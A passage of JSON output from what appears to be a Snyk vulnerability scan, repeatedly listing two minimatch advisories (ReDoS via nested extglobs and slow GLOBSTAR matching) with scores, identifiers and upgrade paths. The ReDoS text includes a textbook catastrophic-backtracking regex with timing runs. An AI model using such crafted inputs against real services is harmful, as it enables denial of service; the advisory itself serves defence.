"patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first 